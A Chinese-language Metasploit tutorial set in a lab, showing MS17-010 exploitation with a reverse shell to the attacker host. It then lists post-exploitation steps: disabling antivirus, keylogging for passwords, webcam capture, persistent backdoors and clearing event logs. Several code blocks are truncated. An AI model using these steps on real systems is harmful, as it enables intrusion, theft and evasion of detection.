Metasploit Framework
- 实验环境
- 简介
- Metasploit 的安装和更新升级
- 一键安装MSF
- MSF 的更新升级
- 非 kali 环境下更新升级 MSF
- kali 环境下更新升级 MSF
- 使用方法
- 基础使用
MSF
中加载自定义的exploit 模块
- 漏洞利用 (exploit)
- 攻击载荷 (payload)
4.1 payload 模块路径
4.2 Metasploit 中的 Payload 模块主要有以下三种类型 - Meterpreter
5.1 Meterpreter 是如何工作的?
5.2 Meterpreter 的特点 - MS17_010 (永恒之蓝)
6.1 查找漏洞相关模块
6.2 利用Auxiliary 辅助探测模块
对漏洞进行探测
6.3 使用Exploit 漏洞利用模块
对漏洞进行利用
6.4 Payload 攻击载荷模块 - 后渗透阶段
7.1 Post 后渗透模块
7.2 查看主机是否运行在虚拟机上
7.3 关闭杀毒软件
7.4 获取目标主机的详细信息
7.5 访问文件系统
7.6 上传 / 下载文件
7.6.1 下载文件
7.6.2 上传文件
7.7 权限提升
7.8 获取用户密码
7.9 运行程序
7.11 屏幕截图
7.12 创建一个新账号
7.13 启用远程桌面
7.14 键盘记录
7.15 进程迁移
7.16 禁止目标主机使用键盘鼠标
7.17 用目标主机摄像头拍照
7.18 常用扩展库介绍
7.18.1 load/use 命令
7.18.2 run 命令
7.19 生成持续性后门
7.19.1 启动项启动
7.19.2 服务启动
7.20 portfwd 端口转发
7.21 清除事件日志 - 导入并执行 PowerShell 脚本
- 加载 stdapi
- 升级 Session
实验环境
靶机
Windows10
192.168.100.158
攻击机
Linux Kali
192.168.100.132
简介
Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新
Metasploit 可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程
被安全社区冠以 “可以黑掉整个宇宙” 之名
刚开始的 Metasploit 是采用 Perl 语言编写的,但是再后来的新版中,改成了用 Ruby 语言编写
在 kali 中,自带了 Metasploit 工具
我们接下来以大名鼎鼎的永恒之蓝 MS17_010 漏洞为切入点,讲解 MSF 框架的使用
Metasploit 的安装和更新升级
一键安装 MSF
在一般的 linux 中,默认是不安装 MSF 的
以下是在非 kali 的 Linux 下安装 MSF 框架
所需命令:
1 | #一键安装MSF: |
MSF 的更新升级
非 kali 环境下更新升级 MSF
命令:
1 | msfupdate #MSF后期更新升级 |
kali 环境下更新升级 MSF
由于 kali 中的 Metasploit 渗透测试框架是集成在系统中的
不是单独安装,不支持使用 msfupdate 命令更新
更新的话需要随系统程序更新
使用 msfupdate 命令会出现下面的情况
1 | ┌──(root💀kali)-[~/desktop] |
在 kali 中更新 MSF 使用以下命令
1 | apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告) |
使用上面命令,是在更新系统程序的同时,把 MSF 更新
使用方法
基础使用
1 | msfconsole #进入框架 |
MSF
中加载自定义的 exploit模块
漏洞利用 (exploit)
漏洞利用 exploit,也就是我们常说的 exp
他就是对漏洞进行攻击的代码
exploit 漏洞利用模块路径 (这里面有针对不同平台的 exploit):
1 | /usr/share/metasploit-framework/modules/exploits |
攻击载荷 (payload)
Payload
Payload
中包含攻击进入目标主机后需要在远程系统中运行的恶意代码
而在Metasploit
中Payload
是一种特殊模块
它们能够以漏洞利用模块运行
并能够利用目标系统中的安全漏洞实施攻击
简而言之,这种漏洞利用模块可以访问目标系统
而其中的代码定义了Payload
在目标系统中的行为
Shellcode
Shellcode
是payload
中的精髓部分
在渗透攻击时作为攻击载荷运行的一组机器指令Shellcode
通常用汇编语言编写
在大多数情况下,目标系统执行了shellcode
这一组指令之后
才会提供一个命令行shell
payload 模块路径
1 | /usr/share/metasploit-framework/modules/payloads |
Metasploit 中的 Payload 模块主要有以下三种类型
Single:
是一种完全独立的
Payload
,而且使用起来就像运行calc.exe
一样简单
例如添加一个系统用户或删除一份文件。由于Single Payload
是完全独立的,因此它们有可能会被类似netcat
这样的非metasploit
处理工具所捕捉到
Stager:
这种
Payload 负责建立目标用户与攻击者之间的网络连接
,并下载额外的组件或应用程序
一种常见的Stager Payload
就是reverse_tcp
,它可以让目标系统与攻击者建立一条 tcp 连接
,让目标系统主动连接我们的端口 (反向连接)
另一种常见的是bind_tcp
,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)
Stage:
是
Stager Payload
下的一种Payload组件
这种 Payload 可以提供更加高级的功能,而且没有大小限制
在 Metasploit 中,我们可以通过 Payload 的名称和使用格式来推断它的类型
1 | #Single Payload的格式为: |
- 当我们在 Metasploit 中执行 show payloads 命令之后,它会给我们显示一个可使用的 Payload 列表
在这个列表中,像
windows/powershell_bind_tcp
就是一个Single Payload
,它不包含Stage Payload
而windows/meterpreter/reverse_tcp
则由一个Stage Payload (meterpreter)
和 一个Stager Payload (reverse_tcp)
组成
Stager 中几种常见的 payload
1 | windows/meterpreter/bind_tcp #正向连接 |
正向连接使用场景
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了
但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口
那么,我们就只能设置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了反向连接使用场景
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了
如果是这样的情况,建议使用反向连接
因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量反向连接80和443端口使用场景
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格
就连被攻击机访问外部网络的流量也进行了严格的限制
只允许被攻击机的 80 端口或 443 端口与外部通信
Meterpreter
Meterpreter
属于stage payload
在Metasploit Framework
中,Meterpreter
是一种后渗透工具
它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload
这种工具是基于内存 DLL 注入
理念实现的
它能够通过创建一个新进程并调用注入的 DLL
来让目标系统运行注入的 DLL文件
Meterpreter 是如何工作的?
首先目标先要执行初始的溢出漏洞会话连接,可能是
bind 正向连接
,或者反弹 reverse 连接
反射连接的时候加载 dll 链接文件
,同时后台悄悄处理 dll 文件
其次Meterpreter
核心代码初始化,通过socket 套接字
建立一个TLS/1.0
加密隧道并发送GET 请求
给Metasploit 服务端
Metasploit 服务端
收到这个GET
请求后就配置相应客户端
最后,Meterpreter
加载扩展,所有的扩展被加载都通过TLS/1.0
进行数据传输
Meterpreter 的特点
Meterpreter
完全驻留在内存,没有写入到磁盘。Meterpreter
注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。- 默认情况下,
Meterpreter
的通信是加密的,所以很安全。 - 扩展性,许多新的特征模块可以被加载。
我们在设置 payloads
时,可以将 payloads
设置为:windows/meterpreter/reverse_tcp
然后获得了 meterpreter>
之后我们就可以干很多事了
MS17_010 (永恒之蓝)
我们现在模拟使用 MS17_010 漏洞攻击
这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞
查找漏洞相关模块
在 kali 命令行里面输入命令 msfconsole,进入 msf 框架中
1
msfconsole #输入命令进入msf渗透框架中
搜索 MS17_010 漏洞
1
search ms17_010 #利用search命令,搜索漏洞相关利用模块
利用 Auxiliary辅助探测模块
对漏洞进行探测
Auxiliary辅助探测模块
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试
使用 smb_ms17_010 漏洞探测模块对 smb_ms17_010 漏洞进行探测
1
use auxiliary/scanner/smb/smb_ms17_010
查看这个模块需要配置的信息
1
show options #查看这个模块需要配置的信息
设置要探测的远程目标
1
set rhosts 192.168.100.100-192.168.100.190
对上面设置的 ip 范围内的主机进行攻击
1
exploit
使用 Exploit漏洞利用模块
对漏洞进行利用
选择漏洞攻击模块,对漏洞进行利用
1
use exploit/windows/smb/ms17_010_eternalblue
查看这个漏洞的信息
1
info
查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统
1
show targets
Payload 攻击载荷模块
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码
成功渗透目标后,用于在目标系统上运行任意命令
查看攻击载荷
1
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
设置攻击载荷
1
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数
1
show options
设置攻击载荷参数
1
2
3set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.100.132 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;进行攻击
1
exploit
后渗透阶段
运行了
exploit
命令之后
我们开启了一个reverse TCP
监听器来监听本地的6666
端口
即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)
运行成功之后,我们将会看到命令提示符meterpreter >
出现
Meterpreter 的命令用法:
1 | ========================================== |
输入 shell
即可切换到目标主机的 windows cmd_shell
里面
1 | shell #获取目标主机的cmd_shell权限 |
要想从目标主机 shell
退出到 meterpreter
,只需输入:exit
从 meterpreter
退出到 MSF框架
1 | background #把我们获得的meterpreter会话挂载到后台运行 |
查看前面获得的 meterpreter_shell 会话,最前面的数字是会话的 id
1 | sessions -l #查看获得的meterpreter_shell会话列表 |
输入 sessions [id 号] 即可进入相应的 meterpreter_shell 中
1 | sessions 1 |
输入 shell
即可进入 cmd
类型的控制
再输入 powershell
,即可进入 powershell
类型的控制台
1 | sysinfo #查看目标主机系统信息 |
Post 后渗透模块
该模块主要用于在取得目标主机系统远程控制权后
进行一系列的后渗透攻击动作
1 | run post/windows/manage/migrate #自动进程迁移 |
可输入 sysinfo
查看目标主机的信息
查看主机是否运行在虚拟机上
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境
1 | run post/windows/gather/checkvm |
关闭杀毒软件
拿到目标主机的 shell 后第一件事就是关闭掉目标主机的杀毒软件
1 | run killav |
获取目标主机的详细信息
使用命令
1 | run scraper |
它将目标机器上的常见信息收集起来然后下载保存在本地
访问文件系统
Meterpreter 支持非常多的文件系统命令 (基本跟 Linux 系统命令类似)
1 | pwd #查看当前目录 |
上传 / 下载文件
下载文件
1 | download file #命令可以帮助我们从目标系统中下载文件 |
上传文件
1 | upload file #命令则能够向目标系统上传文件。 |
权限提升
有的时候,你可能会发现自己的 Meterpreter
会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动
比如说,修改注册表
、安装后门
或导出密码
等活动都需要提升用户权限
而 Meterpreter
给我们提供了一个 getsystem
命令
它可以使用多种技术在目标系统中实现提权
1 | getuid |
获取用户密码
运行程序
先查看目标主机安装了哪些应用
1 | run post/windows/gather/enum_applications #查看目标主机安装了哪些应用 |
在 meterpreter_shell
命令行执行目标系统中的应用程序
1 | #execute命令用法: |
屏幕截图
截图目标主机屏幕,图片保存到 /root/Desktop/
下
1 | screenshot #截图目标主机屏幕 |
创建一个新账号
先查看目标主机有哪些用户
1 | run post/windows/gather/enum_logged_on_users #查看目标主机有用户 |
在目标系统中创建一个新的用户账号的方法一
1 | run getgui -u 用户 -p 密码 |
这个命令会创建用户
并把他添加到Administrators
组中
这样该用户就拥有远程桌面的权限了
在目标系统中创建一个新的用户账号的方法二
1 | enable_rdp脚本: |
启用远程桌面
当我们新添加的用户已经拥有远程桌面之后
我们就可以使用这个账号凭证来开启远程桌面会话了
首先,我们需要确保目标 Windows 设备开启了远程桌面功能(需要开启多个服务)
我们输入
1 | run post/windows/manage/enable_rdp |
命令可以开启远程桌面
在开启远程桌面会话之前
我们还需要使用 idletime
命令检查远程用户的空闲时长
1 | idletime #检查远程用户的空闲时长 |
开启远程桌面
1 | run post/windows/manage/enable_rdp |
键盘记录
Meterpreter 还可以在目标设备上实现键盘记录功能
键盘记录主要涉及以下三种命令
1 | keyscan_start #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看; |
在使用键盘记录功能时
通常需要跟目标进程进行绑定
然后获取该进程下的键盘记录
进程迁移
Meterpreter 既可以单独运行
也可以与其他进程进行绑定
因此,我们可以让 Meterpreter
与类似 explorer.exe
这样的进程进行绑定
并以此来实现持久化
在下面的例子中
我们会将 Meterpreter
跟 winlogon.exe
绑定
并在登录进程中捕获键盘记录,以获得用户的密码
首先,我们需要使用 ps
命令查看目标设备中运行的进程
1 | ps |
使用 getpid
查看我们当前的进程 id
1 | getpid |
使用 migrate + 目标进程ID
命令来绑定目标进程 id
通过进程迁移后
当前的 Meterpreter
的 pid
已经和 winlogon.exe
一样了
1 | migrate 123 |
这里绑定目标 pid
的时候,经常会断了 shell
进程迁移后会自动关闭原来 Meterpreter
进程
没有关闭可使用 kill pid
命令关闭进程。
或者使用自动迁移进程
1 | run post/windows/manage/migrate |
系统会自动寻找合适的进程然后迁移
禁止目标主机使用键盘鼠标
1 | uictl disable(enable) keyboard #禁止(允许)目标使用键盘 |
用目标主机摄像头拍照
1 | webcam_list #获取目标系统的摄像头列表 |
常用扩展库介绍
Meterpreter
中不仅有基本命令还有很多扩展库
下面就介绍一下常用的扩展库的查看方法
load/use 命令
1 | load/use #加载模块 |
命令 load -l
会列出所有可用的扩展
输入 load
后 双击Tab键
也可以列出可用扩展
run 命令
1 | run #执行一个已有的模块 |
run+双击Tab键
会列出所有的已有的脚本;
常用的有 autoroute
, hashdump
, arp_scanner
, multi_meter_inject
等
生成持续性后门
因为
Meterpreter
是基于内存DLL
建立的连接
所以,只要目标主机关机,我们的连接就会断
总不可能我们每次想连接的时候,每次都去攻击
然后再利用Meterpreter
建立连接
所以,我们得在目标主机系统内留下一个持续性的后门
只要目标主机开机
了,我们就可以连接到该主机
建立持续性后门有两种方法
- 通过启动项启动
persistence
- 通过服务启动
metsvc
启动项启动
先使用 Msfvenonm
生成一个后门木马
然后放到 windows的启动目录
中
C:\Users$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了
然后我们只要相连就监听相应的端口就行了
服务启动
1 | run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #自动连接192.168.100.158的8888端口,缺点是容易被杀毒软件查杀 |
然后它就在目标机新建了这个文件
C:\Windows\TEMP****.vbs
并把该服务加入了注册表中
只要开机就会启动
PortFwd 端口转发
portfwd
是 Meterpreter
提供的一种基本的端口转发
porfwd
可以 反弹单个端口
到 本地
, 并且 监听
使用方法如下
1 | portfwd add -l 9999 -r 192.168.100.158 -p 3389 |
然后我们只要访问本地
的 3389
端口就可以连接到目标主机
的 3389
端口了
1 | rdesktop 127.0.0.1:9999 |
如果不想继续连接的话
可以删除当前建立的连接
执行以下命令
1 | portfwd delet -l 9999 -r 192.168.100.158 -p 3389 |
清除事件日志
完成攻击操作之后
千万别忘了 “打扫战场”
我们的所有操作都会被记录在目标系统的日志文件之中
因此我们需要在完成攻击之后使用以下命令来清除事件日志
1 | clearev #清除事件日志 |
导入并执行 PowerShell 脚本
如果 powershell
脚本是用于域内信息收集的
则获取到的权限用户需要是域用户
1 | load powershell #加载powershell功能 |
加载 stdapi
有时候虽然我们获取到了 Meterpreter
但是执行一些命令会显示没有该命令
这时我们可以执行 load stdapi
来加载
这样我们就可以执行命令了
升级 Session
有时候,当我们收到的不是 Meterpreter
类型的 session
的话
可能不好操作,我们可以执行命令 sessions -u id
来升级 session
执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter
模块